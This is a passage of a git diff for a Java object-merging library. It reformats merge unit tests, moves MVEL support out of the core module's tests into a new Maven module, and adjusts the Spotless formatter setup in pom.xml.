FileReader("src/test/resources/person/db-person.json"), Person.class); - MergeDefinition mergeDefinition = - gson.fromJson( - new FileReader("src/test/resources/person/person-merge-definition.json"), - MergeDefinition.class); + @Test + void testMergePersonData() throws Exception { + Person analyticsPerson = + gson.fromJson( + new FileReader("src/test/resources/person/analytics-person.json"), + Person.class); + Person crmPerson = + gson.fromJson( + new FileReader("src/test/resources/person/crm-person.json"), Person.class); + Person dbPerson = + gson.fromJson( + new FileReader("src/test/resources/person/db-person.json"), Person.class); + MergeDefinition mergeDefinition = + gson.fromJson( + new FileReader("src/test/resources/person/person-merge-definition.json"), + MergeDefinition.class); - Person mergedPerson = - ObjectMerger.merge( - Person.class, - mergeDefinition, - new LabeledSource<>("analytics", analyticsPerson), - new LabeledSource<>("crm", crmPerson), - new LabeledSource<>("database", dbPerson)); + Person mergedPerson = + ObjectMerger.merge( + Person.class, + mergeDefinition, + new LabeledSource<>("analytics", analyticsPerson), + new LabeledSource<>("crm", crmPerson), + new LabeledSource<>("database", dbPerson)); - assertEquals("Max Müller", mergedPerson.getName()); - assertEquals(35, mergedPerson.getAge()); - assertEquals("max@example.com", mergedPerson.getEmail()); - assertEquals("030-654321", mergedPerson.getPhone()); - } + assertEquals("Max Müller", mergedPerson.getName()); + assertEquals(35, mergedPerson.getAge()); + assertEquals("max@example.com", mergedPerson.getEmail()); + assertEquals("030-654321", mergedPerson.getPhone()); + } } diff --git a/objectmerger/src/test/java/de/x132/person/MvelPersonMergeTest.java b/objectmerger/src/test/java/de/x132/person/MvelPersonMergeTest.java deleted file mode 100644 index 2c60e44..0000000 --- a/objectmerger/src/test/java/de/x132/person/MvelPersonMergeTest.java +++ /dev/null @@ -1,50 +0,0 @@ -package de.x132.person; - -import static org.junit.jupiter.api.Assertions.assertEquals; - -import com.google.gson.Gson; -import de.x132.objectmerger.LabeledSource; -import de.x132.objectmerger.MergeDefinition; -import de.x132.objectmerger.ObjectMerger; -import de.x132.testutil.TestGsonHelper; -import java.io.FileReader; -import org.junit.jupiter.api.DisplayName; -import org.junit.jupiter.api.Test; - -class MvelPersonMergeTest { - - private static final Gson gson = TestGsonHelper.createGson(); - - @Test - @DisplayName("Should merge person data using MVEL rules identically to standard rules") - void testMergePersonDataWithMvel() throws Exception { - Person analyticsPerson = - gson.fromJson( - new FileReader("src/test/resources/person/analytics-person.json"), Person.class); - Person crmPerson = - gson.fromJson(new FileReader("src/test/resources/person/crm-person.json"), Person.class); - Person dbPerson = - gson.fromJson(new FileReader("src/test/resources/person/db-person.json"), Person.class); - - // Load the MVEL definition instead of the standard one - MergeDefinition mergeDefinition = - gson.fromJson( - new FileReader("src/test/resources/person/person-merge-definition-mvel.json"), - MergeDefinition.class); - - // Perform the merge - Person mergedPerson = - ObjectMerger.merge( - Person.class, - mergeDefinition, - new LabeledSource<>("analytics", analyticsPerson), - new LabeledSource<>("crm", crmPerson), - new LabeledSource<>("database", dbPerson)); - - // Assert results match the expected output from MultiSourceMergeTest - assertEquals("Max Müller", mergedPerson.getName()); - assertEquals(35, mergedPerson.getAge()); - assertEquals("max@example.com", mergedPerson.getEmail()); - assertEquals("030-654321", mergedPerson.getPhone()); - } -} diff --git a/objectmerger/src/test/java/de/x132/person/Person.java b/objectmerger/src/test/java/de/x132/person/Person.java index 0bc7cdd..3f6b09b 100644 --- a/objectmerger/src/test/java/de/x132/person/Person.java +++ b/objectmerger/src/test/java/de/x132/person/Person.java @@ -4,8 +4,8 @@ @Data public class Person { - private String name; - private Integer age; - private String email; - private String phone; + private String name; + private Integer age; + private String email; + private String phone; } diff --git a/objectmerger/src/test/java/de/x132/person/SingleSourcePriorityPhoneTest.java b/objectmerger/src/test/java/de/x132/person/SingleSourcePriorityPhoneTest.java index 608e743..f09dbe5 100644 --- a/objectmerger/src/test/java/de/x132/person/SingleSourcePriorityPhoneTest.java +++ b/objectmerger/src/test/java/de/x132/person/SingleSourcePriorityPhoneTest.java @@ -13,95 +13,95 @@ public class SingleSourcePriorityPhoneTest { - private MergeDefinition phonePriorityCrmOnlyDefinition() { - PriorityFieldDefinition phoneDef = - PriorityFieldDefinition.builder() - .priority(Map.of("crm", 1)) - .strategy("priority") - .defaultValue(null) - .build(); - - MergeDefinition def = new MergeDefinition(); - Map> defs = new HashMap<>(); - defs.put("phone", phoneDef); - def.setDefinitions(defs); - return def; - } - - @Test - void phone_uses_crm_when_present() { - // Given - Person analytics = new Person(); - analytics.setPhone("030-654321"); - - Person crm = new Person(); - crm.setPhone("030-123456"); - - Person database = new Person(); - database.setPhone(null); - - MergeDefinition def = phonePriorityCrmOnlyDefinition(); - - // When - Person merged = - ObjectMerger.merge( - Person.class, - def, - new LabeledSource<>("analytics", analytics), - new LabeledSource<>("crm", crm), - new LabeledSource<>("database", database)); - - // Then - assertEquals("030-123456", merged.getPhone()); - } - - @Test - void phone_is_null_when_crm_null_even_if_others_have_value() { - // Given - Person analytics = new Person(); - analytics.setPhone("030-654321"); - - Person crm = new Person(); - crm.setPhone(null); - - Person database = new Person(); - database.setPhone("030-000000"); - - MergeDefinition def = phonePriorityCrmOnlyDefinition(); - - // When - Person merged = - ObjectMerger.merge( - Person.class, - def, - new LabeledSource<>("analytics", analytics), - new LabeledSource<>("crm", crm), - new LabeledSource<>("database", database)); - - // Then - assertEquals(null, merged.getPhone()); - } - - @Test - void phone_is_default_when_crm_source_missing() { - // Given - Person analytics = new Person(); - analytics.setPhone("030-654321"); - - Person database = new Person(); - database.setPhone("030-000000"); - - MergeDefinition def = phonePriorityCrmOnlyDefinition(); - - // When: no CRM source is provided - Person merged = - ObjectMerger.merge( - Person.class, - def, - new LabeledSource<>("analytics", analytics), - new LabeledSource<>("database", database)); - - // Then - assertEquals(null, merged.getPhone()); - } + private MergeDefinition phonePriorityCrmOnlyDefinition() { + PriorityFieldDefinition phoneDef = + PriorityFieldDefinition.builder() + .priority(Map.of("crm", 1)) + .strategy("priority") + .defaultValue(null) + .build(); + + MergeDefinition def = new MergeDefinition(); + Map> defs = new HashMap<>(); + defs.put("phone", phoneDef); + def.setDefinitions(defs); + return def; + } + + @Test + void phone_uses_crm_when_present() { + // Given + Person analytics = new Person(); + analytics.setPhone("030-654321"); + + Person crm = new Person(); + crm.setPhone("030-123456"); + + Person database = new Person(); + database.setPhone(null); + + MergeDefinition def = phonePriorityCrmOnlyDefinition(); + + // When + Person merged = + ObjectMerger.merge( + Person.class, + def, + new LabeledSource<>("analytics", analytics), + new LabeledSource<>("crm", crm), + new LabeledSource<>("database", database)); + + // Then + assertEquals("030-123456", merged.getPhone()); + } + + @Test + void phone_is_null_when_crm_null_even_if_others_have_value() { + // Given + Person analytics = new Person(); + analytics.setPhone("030-654321"); + + Person crm = new Person(); + crm.setPhone(null); + + Person database = new Person(); + database.setPhone("030-000000"); + + MergeDefinition def = phonePriorityCrmOnlyDefinition(); + + // When + Person merged = + ObjectMerger.merge( + Person.class, + def, + new LabeledSource<>("analytics", analytics), + new LabeledSource<>("crm", crm), + new LabeledSource<>("database", database)); + + // Then + assertEquals(null, merged.getPhone()); + } + + @Test + void phone_is_default_when_crm_source_missing() { + // Given + Person analytics = new Person(); + analytics.setPhone("030-654321"); + + Person database = new Person(); + database.setPhone("030-000000"); + + MergeDefinition def = phonePriorityCrmOnlyDefinition(); + + // When: no CRM source is provided + Person merged = + ObjectMerger.merge( + Person.class, + def, + new LabeledSource<>("analytics", analytics), + new LabeledSource<>("database", database)); + + // Then + assertEquals(null, merged.getPhone()); + } } diff --git a/objectmerger/src/test/java/de/x132/testutil/TestGsonHelper.java b/objectmerger/src/test/java/de/x132/testutil/TestGsonHelper.java index 9e4c288..21b31ec 100644 --- a/objectmerger/src/test/java/de/x132/testutil/TestGsonHelper.java +++ b/objectmerger/src/test/java/de/x132/testutil/TestGsonHelper.java @@ -10,50 +10,45 @@ import de.x132.objectmerger.strategy.FieldDefinition; import de.x132.objectmerger.strategy.list.ListFieldDefinition; import de.x132.objectmerger.strategy.map.MapFieldDefinition; -import de.x132.objectmerger.strategy.mvel.MvelFieldDefinition; import de.x132.objectmerger.strategy.priority.PriorityFieldDefinition; import de.x132.objectmerger.strategy.standard.StandardFieldDefinition; import java.lang.reflect.Type; public class TestGsonHelper { - public static Gson createGson() { - return new GsonBuilder() - .registerTypeAdapter(FieldDefinition.class, new FieldDefinitionDeserializer()) - .create(); - } - - private static class FieldDefinitionDeserializer implements JsonDeserializer { - @Override - public FieldDefinition deserialize( - JsonElement json, Type typeOfT, JsonDeserializationContext context) - throws JsonParseException { - JsonObject jsonObject = json.getAsJsonObject(); - - String strategy = ""; - if (jsonObject.has("strategy")) { - strategy = jsonObject.get("strategy").getAsString(); - } - - if ("mergeMap".equals(strategy) || jsonObject.has("keyTemplateSources")) { - return context.deserialize(json, MapFieldDefinition.class); - } - - if ("mergeList".equals(strategy) || jsonObject.has("identifyBy")) { - return context.deserialize(json, ListFieldDefinition.class); - } - - if (jsonObject.has("priority") - || "priority".equals(strategy) - || "concatenate".equals(strategy)) { - return context.deserialize(json, PriorityFieldDefinition.class); - } - - if ("mvel".equals(strategy)) { - return context.deserialize(json, MvelFieldDefinition.class); - } - - return context.deserialize(json, StandardFieldDefinition.class); + public static Gson createGson() { + return new GsonBuilder() + .registerTypeAdapter(FieldDefinition.class, new FieldDefinitionDeserializer()) + .create(); + } + + private static class FieldDefinitionDeserializer implements JsonDeserializer { + @Override + public FieldDefinition deserialize( + JsonElement json, Type typeOfT, JsonDeserializationContext context) + throws JsonParseException { + JsonObject jsonObject = json.getAsJsonObject(); + + String strategy = ""; + if (jsonObject.has("strategy")) { + strategy = jsonObject.get("strategy").getAsString(); + } + + if ("mergeMap".equals(strategy) || jsonObject.has("keyTemplateSources")) { + return context.deserialize(json, MapFieldDefinition.class); + } + + if ("mergeList".equals(strategy) || jsonObject.has("identifyBy")) { + return context.deserialize(json, ListFieldDefinition.class); + } + + if (jsonObject.has("priority") + || "priority".equals(strategy) + || "concatenate".equals(strategy)) { + return context.deserialize(json, PriorityFieldDefinition.class); + } + + return context.deserialize(json, StandardFieldDefinition.class); + } } - } } diff --git a/objectmerger/src/test/java/de/x132/testutil/TestGsonHelper.java.bak b/objectmerger/src/test/java/de/x132/testutil/TestGsonHelper.java.bak new file mode 100644 index 0000000..f5e7e94 --- /dev/null +++ b/objectmerger/src/test/java/de/x132/testutil/TestGsonHelper.java.bak @@ -0,0 +1,54 @@ +package de.x132.testutil; + +import com.google.gson.Gson; +import com.google.gson.GsonBuilder; +import com.google.gson.JsonDeserializationContext; +import com.google.gson.JsonDeserializer; +import com.google.gson.JsonElement; +import com.google.gson.JsonObject; +import com.google.gson.JsonParseException; +import de.x132.objectmerger.strategy.FieldDefinition; +import de.x132.objectmerger.strategy.list.ListFieldDefinition; +import de.x132.objectmerger.strategy.map.MapFieldDefinition; +import de.x132.objectmerger.strategy.priority.PriorityFieldDefinition; +import de.x132.objectmerger.strategy.standard.StandardFieldDefinition; +import java.lang.reflect.Type; + +public class TestGsonHelper { + + public static Gson createGson() { + return new GsonBuilder() + .registerTypeAdapter(FieldDefinition.class, new FieldDefinitionDeserializer()) + .create(); + } + + private static class FieldDefinitionDeserializer implements JsonDeserializer { + @Override + public FieldDefinition deserialize( + JsonElement json, Type typeOfT, JsonDeserializationContext context) + throws JsonParseException { + JsonObject jsonObject = json.getAsJsonObject(); + + String strategy = ""; + if (jsonObject.has("strategy")) { + strategy = jsonObject.get("strategy").getAsString(); + } + + if ("mergeMap".equals(strategy) || jsonObject.has("keyTemplateSources")) { + return context.deserialize(json, MapFieldDefinition.class); + } + + if ("mergeList".equals(strategy) || jsonObject.has("identifyBy")) { + return context.deserialize(json, ListFieldDefinition.class); + } + + if (jsonObject.has("priority") + || "priority".equals(strategy) + || "concatenate".equals(strategy)) { + return context.deserialize(json, PriorityFieldDefinition.class); + } + + return context.deserialize(json, StandardFieldDefinition.class); + } + } +} diff --git a/pom.xml b/pom.xml index dd2628f..5686bc1 100644 --- a/pom.xml +++ b/pom.xml @@ -38,6 +38,7 @@ objectmerger objectmerger-cli objectmerger-spring-boot + objectmerger-mvel @@ -123,6 +124,32 @@ + + + com.diffplug.spotless + spotless-maven-plugin + 2.40.0 + + + + 1.17.0 + + + + + + + + + auto-style + process-sources + + apply + + + + + @@ -156,20 +183,7 @@ maven-surefire-plugin 3.1.2 - - com.diffplug.spotless - spotless-maven-plugin - 2.40.0 - - - - 1.17.0 - - - - - - + org.springframework.boot spring-boot-maven-plugin @@ -237,6 +251,7 @@ true +